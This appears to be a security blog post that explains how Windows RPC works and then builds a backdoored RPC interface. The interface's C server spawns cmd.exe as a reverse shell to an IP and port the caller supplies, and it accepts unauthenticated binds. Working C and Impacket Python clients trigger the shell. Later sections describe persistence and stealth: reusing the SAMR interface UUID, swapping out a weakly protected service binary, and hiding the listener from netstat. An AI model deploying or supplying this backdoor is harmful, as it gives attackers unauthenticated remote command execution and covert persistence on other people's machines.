This article was released on march 2021 however I realized I missed some informations which, I believe, are worth being mentioned. For that reason I decided to patch the article and add those missing knowledges :)

This article will focus on explaining:

  • How RPC works
  • How to define and create a RPC interface
  • How to weaponize the all thing

All the code I wrote for this article will be available on the following Github repository:

The ultimate goal will be to create a backdoored RPC interface that we will use to send us a reverse shell.

I/ What is RPC ?

RPC stands for Remote Procedure Call. It is one the mechanisms used internally by the Windows operating system to allow programs to communicate with each others. The overall idea with RPC is that you can write applications that will be able to execute code localy but also remotely.

So why would we need that ? Consider the following example. You own a server that has 256Gb of RAM and 10 graphic cards. This server would be very useful for hash cracking operations because of the computing power it has. What you could do as a lazy hacker would be to implement an RPC interface, let’s call it hashCracker, that takes two arguments:

  • The hash to crack
  • The format of the hash (MD5, SHA1, whatever…)

Once the RPC interface created, the only thing we need to do is to send to the interface the hash and its format and we will get the result (the cracked password):

Basic RPC interface schema

Using the RPC interface we made two programs communicate with each others. So yeah, you could argue that this looks like a basic TCP connection to a remote server. The only difference is that using the RPC protocol we will not have to deal with the network input/ouput nor the TCP stack. Everything related to the network is handled by the RPC runtime library (rpcrt4.dll) and a stub whose purpose will be to pack the data into a data stub. But we will talk about that later. First let’s take a look at one of the most important service of the RPC architecture: epmapper.

II/ RPC Endpoint Mapper

If you are completely new to the RPC protocol you might be wondering how a computer would call these remote interfaces. How does it know which interfaces are reachable and how to connect to them? Well in Windows there is a service that is responsible for listing the exposed interfaces. This service is called the RPC Endpoint Mapper or epmapper:

RPC Endpoint Mapper description

If you want to list which interfaces are exposed you can use the script from the Impacket library. The script will connect to the port 135 (on which the epmapper is listening) and lists all the interfaces exposed. The following screenshot is an extract of the output of the script on which are described three interfaces:


Basic RPC interface

As you can see, each interface is described by four informations:

  • A protocole which is used to communicate with the remote server.
  • A provider which is the PE binary (EXE or DLL) that is exposing the RPC interface
  • An UUID (Universale Uniq Identifiers) which identifies the interface we wish to contact in a uniq way on the Windows operating system.
  • A binding string, at least one, potentially a lot more

What we need to figure out at this point is how we can connect to these interfaces and what are these informations used for.

III/ How does RPC work

The process of calling a RPC interface relies on two steps. First the client will connect to an endpoint using what is called a string binding. A string binding is a part of a much more complexe structure called a binding handle but we will get back to this when we will code the interface. What you need to know at the moment is that a string binding defines how to reach a RPC interface.

Let’s take a look at one of the interface we saw previously, let’s say the SAMR interface. This interface is used by sysadmins to manage users and groups remotely. You may have already used it if you ever changed your password using the rpcclient and one of the following functions (shout out to my hackthebox friends from h&s):

RPC client

In the case of the SAMR interface we saw before that there are 13 different string bindings:

SAMR interface endpoints

Each of these string bindings follows this format



  • objectUUID: the UUID of the interface we wish to connect as well as its version.
  • ProtocolSequence: the protocol used to transport the data over the network. There are three mains protocols (which are declined into 14 different protocol sequences):
    • NCACN (Network Computing Architecture CoNnection oriented protocol): RPC over a TCP connection
    • NCADG (Network Computing Architecture Datagrame Protocol): RPC over a UDP connection
    • NCALRPC (Network Computing Architecture Local Remote Procedure): RPC through a local connection
  • NetworkAddress: the IP address or the name of a SMB share
  • Endpoint: the location of the remote interface

In the output you will see that the ObjectUUID is not present in the string binding as it is implicit. The reason why is that the output would be too difficult to read otherwise.

If we take the following string binding:


We can deduce that the RPC interface is reachable by connecting to the IP on port 49664.

If we take this one:

ncalrpc:[samss lpc]

We can see that there are no NetworkAdress. This is because this string binding relies on the ncalrpc protocol sequence which implies that the RPC interface is reachable only locally by calling an endpoint named samss lpc.

Finally if we take the following one:


We can deduce that the interface is reachable by connecting to the SMB share located on the computer named \\DESKTOP-0PRT7UI to the name pipe \pipe\lsass.

Using these string bindings we will be able to connect to an endpoint. The next step is to bind to an interface. To do so we need two informations that, once again, are exposed by the epmapper: the UUID of the interface and its version.

UUID and version of the interface exposed by the epmapper

The binding process will create a logical connection between the RPC client and the RPC server and will result in the creation of a binding handle. Using this logical connection we will be able to send the data and receive the result.

Below you will find a capture of the network trafic sent between the RPC client and the RPC server:

RPC communications from wireshark

The first three packets are part of a standard TCP connection (SYN, SYN/ACK, ACK) to the endpoint which is listening on port 41337. This is the port I choose for the backdoored RPC interface that we will develope in the rest of this article.

What we can learn from these first three packets is that the endpoint is reachable through a TCP connection on the IP on port 41337. That means that the string binding of this endpoint is the following:


Next we can see four packets in purple. These packets constitute the proper DCERPC binding operations and RPC calls.

As you can the see the first packet tries to bind to a context_item which is composed of a UUID and the version of the interface:

RPC communications from wireshark

The second packet is the reply from the RPC server which says that the binding was accepted

RPC communications from wireshark

And the third contains the data stub that the client send to the RPC interface in a serialized format:

RPC communications from wireshark

Networkly speaking we know how RPC communications are done. Internally the following schema describes the process:

RPC complete schema

To summarize:

  1. The client program calls the client stub and sends it the parameters required by the RPC function.
  2. The client stub serializes this data into a complexe data structure following the Network Data Representation format. Once the data is formated, it will be forwarded to the RPC runtime.
  3. The RPC runtime is the component that allows us to query functions remotely without taking care of the TCP/IP inputs/ouputs. It’s purpose is to send/receive data from/to a RPC client/server.
  4. The server stub deserializes the data and forwardes it to the server code.
  5. The server code executes the fonction and returns the results doing the exact same operations in the opposite way.

That’s it! We know pretty much everything we need about RPC and how it works. Let’s start hacking things together!

IV/ Building a RPC interface

Writting a RPC interface from scratch is a complex task. As we mentionned before this is not just about creating a socket and passing some data. The first thing we need to do is to define our interface. Defining the interface is the most important part since this is when you will select which type of data the RPC interface will receive/send. In our case we want the RPC interface to send a reverse shell. Thus it will need the following parameters:

  • An IP address which, in C, is stored as an array of characters
  • A port which, in C, is stored as an int

Defining an interface means creating an IDL file which respects the MIDL format. MIDL (Microsoft Interface Definition Language) is kind of like a C header file that contains the definition of a RPC interface.

Below you will find the IDL file which defines our interface:

	implicit_handle(handle_t ImplicitHandle)
interface RemotePrivilegeCall
	void SendReverseShell(
		[in, string] wchar_t* ip_address,
		[in] int port

As you can see a IDL file is composed of two parts. The first one is the MIDL interface header:

   uuid(AB4ED934-1293-10DE-BC12-AE18C48DEF33), // UUID of the interface
   version(1.0),                               // Specify that this is the version 1.0 of the interface
   implicit_handle(handle_t ImplicitHandle)    // Declare an implicit handle

It contains the UUID of the interface (which I choose randomly), its version and the type of binding handle to use. Previously I told you that the string binding is used by a client to connect to a remote endpoint and then bind to an interface. Once the binding process is over, a binding handle is created and contains all the data related to the logical connection which is created between the RPC client and the RPC server. In this binding handle you will find (among others informations)

  • the binding string (stored in a computer language)
  • If the binding requires authenticating or not
  • If the data must be cyphered or not

There are three types of handles:

  • Explicit handle
  • Implicit handle
  • Automatic handle

The difference between these types of handles is that they do not offer the same type of control over it. So which handle should we use ? Well the documentation says the best practice is to use explicit handles since they support multithreading. However we don’t really care about multi threading stuff. The easier the RPC interface is to develop the better it is. So at first I choose to use an automatic handle but I realised later that these handles are deprecated so I switched back to an implicit handle.

The next part of the IDL file is the MIDL interface body which contains the definition of the function of our RPC interface.

interface RemotePrivilegeCall
	void SendReverseShell(
		[in, string] wchar_t* ip_address,
		[in] int port

As you can see it looks like a standard C function prototype. The function is called SendReverseShell, takes two arguments and returns nothing. The only difference are these new keywords: in, out and string. The in keywords implies that the parameters is to be sent to the RPC interface, the out parameter means that the function will return a value and the string keyword means that the parameter is a string terminated by a \x00 character. There are others keywords that we can use but we won’t need them for our interface.

Now that our interface is defined we will need to translate it into C code. To do so we will use a binary called midl.exe with the following command:

midl.exe /app_config RemotePrivilegeCall.idl

If everything went well (which should be the case), you will get three files:

  • One client stub (RemotePrivilegeCall_c.c)
  • One server stub (RemotePrivilege_s.c)
  • One header included in each stubs

RPC MIDL output

Next we will have to write the code of the server program.

Aside notes : When developping with Windows it is important to remember that the default charset is UNICODE. That means that characters are encoded on 16 bits. Thus a simple number like ‘1’ which would be encoded in hexadecimal as ‘31’ in ASCII will be encoded as ‘3100’ in UNICODE.

The WinAPI functions support both ASCII and UNICODE encoding which is why functions (such as CreateFile) are available in two formats:

  • CreateFileA(): supports the ASCII charset
  • CreateFileW(): supports the UNICODE charste

If you rely on the usual CreateFile() function then it is important to know that you will be using unknowingly CreateFileA(). This is one of the reasons that made my first POC unusable in the first place which is why I thought it would be interesting to mention it.

In order to set up an RPC interface we will use a few functions from the WinAPI:

  1. RpcServerUseProtseqEpW: in which we will specify which endpoint to use
  2. RpcServerRegisterIf2: allows us to register the interface with the RPC runtime library
  3. RpcServerInqBindings and RpcEpRegisterW: which will alllow us to register the interface to the epmapper component
  4. RpcServerListen: launch the interface

Here is the commented code for the server program:

#include <stdlib.h>
#include <iostream>
#include <winsock2.h>
#include <windows.h>
#include "RemotePrivilegeCall.h"
// Links the rpcrt4.lib that exposes the WinAPI RPC functions
#pragma comment(lib, "rpcrt4.lib")
// Links the ws2_32.lib which contains the socket functions
#pragma comment(lib, "ws2_32.lib")

// Function that sends the reverse shell
void SendReverseShell(wchar_t* ip_address, int port){
	printf("Sending reverse shell to: %ws:%d\n", ip_address, port);
	WSADATA wsaData;
	struct sockaddr_in hax;
	char ip_addr_ascii[16];
	sprintf(ip_addr_ascii, "%ws", ip_address );
	WSAStartup(MAKEWORD(2, 2), &wsaData);
	s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

	hax.sin_family = AF_INET;
	hax.sin_port = htons(port);
	hax.sin_addr.s_addr = inet_addr(ip_addr_ascii);

	WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

	memset(&sui, 0, sizeof(sui));
	sui.cb = sizeof(sui);
	sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) s1;

	LPSTR commandLine = "cmd.exe";
	CreateProcess(NULL, commandLine, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);

// Security callback function
RPC_STATUS CALLBACK SecurityCallback(RPC_IF_HANDLE Interface, void* pBindingHandle){
    return RPC_S_OK; // Whoever binds to the interface, we will allow the connection

int main()
    RPC_STATUS status; // Used to store the RPC function returns
	RPC_BINDING_VECTOR* pbindingVector = 0;

	// Specify the Rpc endpoints options
	status = RpcServerUseProtseqEpW(
		(RPC_WSTR)L"ncacn_ip_tcp",      // Endpoint to contact
		(RPC_WSTR)L"41337",             // Listening port 
		NULL                            // Pointer to a security context (we don't care about that)

	// Register the interface to the RPC runtime
	status = RpcServerRegisterIf2(
		RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h
		NULL,                                // UUID to bind to (NULL means the one from the MIDL file)
		NULL,                                // Interface to use (NULL means the one from the MIDL file)
		RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function
		RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Numbers of simultaneous connections
		(unsigned)-1,                        // Maximum size of data block received 
		SecurityCallback                     // Name of the function that acts as the security callback

	// Register the interface to the epmapper
	status = RpcServerInqBindings(&pbindingVector);
	status = RpcEpRegisterW(
		RemotePrivilegeCall_v1_0_s_ifspec,    // Name of the interface defined in RemotePrivilegeCall.h
		pbindingVector,                       // Structure contening the binding vectors
		(RPC_WSTR)L"Backdoored RPC interface" // Name of the interface as exposed on port 135    

	// Launch the interface
	status = RpcServerListen(
		1,                                   // Minimum number of connections
		RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Maximum number of connetions
		FALSE                                // Starts the interface immediately

// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size){
    return malloc(size);

// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p){

For the RPC server to work correctly we will have to compile both the server program and the server stub into one binary using the following command:

cl.exe Server.cpp RemotePrivilegeCall_s.c

Then we can run the binary :


And enumerate the epmapper with


RPC MIDL output

Perfect, the RPC interface is working!

For the client part we will use the following functions:

  1. RpcStringBindingComposeW: which will be used to create the binding string
  2. RpcBindingFromStringBindingW: which will be used to connect to the endpoint and bind to the correct interface

Here is the fully commented client code:

#include <iostream>
#include <windows.h>
#include "RemotePrivilegeCall.h"
// Links the rpcrt4.lib that exposes the WinAPI RPC functions
#pragma comment(lib, "rpcrt4.lib")

int main()
	RPC_STATUS status;                 // Store the RPC status
	RPC_WSTR szStringBinding = NULL;   // Store the binding string

	// Used to get a valid binding string
	status = RpcStringBindingComposeW(
		NULL,                         // UUID of the interface
		(RPC_WSTR)L"ncacn_ip_tcp",    // TCP binding 
		(RPC_WSTR)L"", // Server IP address
		(RPC_WSTR)L"41337",           // Port on which the interface is listening
		NULL,                         // Network protocol to use
		&szStringBinding              // Variable in which the binding string is to be stored
	printf("BindingString: %s\n", szStringBinding);
	// Validates the binding string and retrieves a binding handle
	status = RpcBindingFromStringBindingW(
		szStringBinding,      // The binding string to validate
		&ImplicitHandle       // The variable in which is stored the binding handle
		// Calls the remote function
		SendReverseShell(L"", 4444);
		printf("RPCExec: %d\n", RpcExceptionCode());

	// Libère la mémoire allouée à la chaîne de caractère binding
	status = RpcStringFreeW(&szStringBinding);

	// Libère le binding handle et déconnecte du serveur RPC
	status = RpcBindingFree(&ImplicitHandle); 

// Function used to allocate memory to the interface
void* __RPC_USER midl_user_allocate(size_t size){
    return malloc(size);

// Function used to free memory allocated to the interface
void __RPC_USER midl_user_free(void* p){

Let’s compile the client:

cl.exe Client.cpp RemotePrivilegeCall_c.c

And launch it while having a listening netcat:


RPC first shell

Here is our shell!

So at first I thought that it was done. I had everything to backdoor a computer using a RPC server. However I am too lazy to spin up a Windows VM to launch the Client.exe binary. I find python script to be much more interesting considering I use a Linux operating system. So what I wanted to do was to write a python script that would act as the client.

The first thing I did was to take a look at what the Impacket library looks like and how I could use it to connect to a RPC interface. Here is the code I used:

 from impacket.structure import Structure
 from impacket.uuid import uuidtup_to_bin
 from impacket.dcerpc.v5 import transport
 from impacket.dcerpc.v5.rpcrt import DCERPCException
 from impacket.dcerpc.v5.transport import DCERPCTransportFactory

 # First we create the string binding that we will need to connect to the endpoint
 stringBinding = r'ncacn_ip_tcp:{}[41337]'.format(target_ip)
 # Connects to the endpoint using the string binding
 transport = DCERPCTransportFactory(stringBinding)
 dce = transport.get_dce_rpc()

  # Casts the UUID string and version into a valid UUID object
 interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))

  # Binds to the interface

Basically the code creates a string binding. Then it connects to the remote endpoint and binds to the interface. At this point the only remaining thing we need to do is to send the parameters to the RPC interface in the correct packing format. However since we don’t have a client stub that will marshall the data following the NDR format so we will have to implement it ourself. This can be done using two Classes from the Impacket project. The first one is NDRCALL which you can find in the following file:

The NDRCALL structure is the following:

RPC NDRCALL structure

As you can see the NDR format supports both 32 and 64 bits (which is why you can see both commonHDR/64 and structure/64). What we need to know is that a NDR data stub is composed of:

  • A NDR header which contains metadata informations
  • A NDR body which contains the marshalled data

If you read the original article you might remember that I struggled a lot with a strange string:

RPC NDR header

I didn’t know where these 12 bytes of data were coming from:


Well I found out later that it was the NDR headers which I wasn’t using correctly and would result in the RPC call to fail. So yeah, using the NDRCALL class from Impacket removes that issue as the NDR header is automaticaly generated.

As for the data stub, to reproduce this marshalling operation we will use the struct library from python and base our work on the Structure class from Impacket which you can find in the following file:

All we need to do is to create a class that inherits the NDRCALL class and fill in the structure list:

class SendReverseShell(NDRCALL):
	structure = (
	    ('argument_one', packing_format),
	    ('argument_two', packing_format),
	    ('argument_n', packing_format)

With packing_format being a string composed of one or more of the following specifiers:

RPC first shell

According to the prototype of the SendReverseShell function we wrote in the IDL file, the following structure is valid:

 # < means that we will pack data into the little endian format
 # WSTR is the specifiyer for a unicode encoded string
 # i is the specifier for the int type

class SendReverseShell(NDRCALL):
	structure = (
    	('ip_address', WSTR), 
    	('port', "<i") 

And here is the complete python script to use in order to trigger the RPC interface:

import argparse
from impacket.dcerpc.v5 import transport
from impacket.structure import Structure
from impacket.uuid import uuidtup_to_bin
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5.transport import DCERPCTransportFactory

parser = argparse.ArgumentParser()
parser.add_argument("-rip", help="Remote computer to target", dest="target_ip", type=str, required=True)
parser.add_argument("-rport", help="IP of the remote procedure listener", dest="port", type=int, required=True)
parser.add_argument("-lip", help="Local IP to receive the reverse shell", dest="lip", type=str, required=True)
parser.add_argument("-lport", help="Local port to receive the reverse shell", dest="lport", type=int, required=True)

args = parser.parse_args()
target_ip = args.target_ip
port = args.port
lip = args.lip
lport = args.lport

class SendReverseShell(NDRCALL):
    structure = (
        ('ip_address', WSTR),
        ('port', "<i")

# Creates the string binding
stringBinding = r'ncacn_ip_tcp:{}[{}]'.format(target_ip, port)

# Connects to the remote endpoint
transport = DCERPCTransportFactory(stringBinding)
dce = transport.get_dce_rpc()
print("[*] Connected to the remote target")

# Casts the UUID string and version of the interface into a UUID object and binds to the interface
interface_uuid = uuidtup_to_bin(("AB4ED934-1293-10DE-BC12-AE18C48DEF33", "1.0"))
print("[*] Binded to AB4ED934-1293-10DE-BC12-AE18C48DEF33")

print("[*] Formatting the client stub")
# Creates the client stub and pack its data so it valid
query = SendReverseShell()
query['ip_address'] = f"{lip}\x00"
query['port'] = lport

print("[*] Calling the remote procedure")
    # Calls the function number 0 (the first and only function exposed by our interface) and pass the data, query)
    # Reading the answer of the RPC server
except Exception as e:
    print(f"[!] ERROR: {e}")
    print("[*] Disconecting from the server")
    # Disconnecting from the remote target

I launched the script and…

RPC python client

I received a shell :D !

Reverse shell

Our RPC interface works!

V/ Backdooring a computer with a custom RPC interface

Even though the RPC interface works there are quite a few things that still annoy me. First of all the RPC interface is exposed on a TCP port which is quite a limitation when it comes to backdooring a computer as it requires to open a TCP port on the firewall. Secondly running the Server binary at boot means setting up a Windows service. Lastly, as we saw in the beginning of this article, the RPC interface can be listed using While working on this blog post I wondered what would happen if you register an interface UUID that is already used by a legitimate service.

For example we know that the SAMR interface’s UUID is:

SAMR interface UUID

If we change the UUID of our backdoored interface:

	implicit_handle(handle_t ImplicitHandle)
interface RemotePrivilegeCall
	void SendReverseShell(
		[in, string] wchar_t* ip_address,
		[in] int port

Then recompile the IDL file, the Server code and then launch the binary:

midl /app_config RemotePrivilegeCall.idl
cl Server.cpp RemotePrivilegeCall_s.c

We’ll see that our backdoored function is merged into the legitimate SAMR RPC interface:

SAMR interface UUID

As of now I’m still not sure if this is because of how RPCdump dumps the interfaces. I’ll have to dig that later ;)!

Concerning the Windows service issue. As with any other services it might be interesting looking for write ACL’s on binaries used by legitimate services. So first we will need to list existing RPC interfaces. This can be done with the RPCView.exe. For example the following binary exposes 12 interfaces:

RPC View interfaces

Since I have Full Control rights on this binary I can just replace it with my backdoored RPC server, reboot the server and realize that the backdoored RPC interface is reachable:

RPC Updater full control

Finally we’ll need to hide our local TCP listener so that our RPC backdoor can not be flagged because of the netstat command. This can be done by switching the binding handle from ncacn_ip_tcp to ncacn_np meaning that we won’t rely on a local TCP port but on a Named Pipe! But I’ll talk about these in a upcoming blog post :)

VI/ Conclusion

If I took the time to describe the complete process of creating an RPC interface it is because I believe the IPC’s are valuable mechanisms to target. Having a complete knowledge of how they work will help us (and me) finding vulnerabilities that could lead to LPE and/or RCE which, in the end, is what I’m looking for.

Hope this blog post will help, happy hacking :)!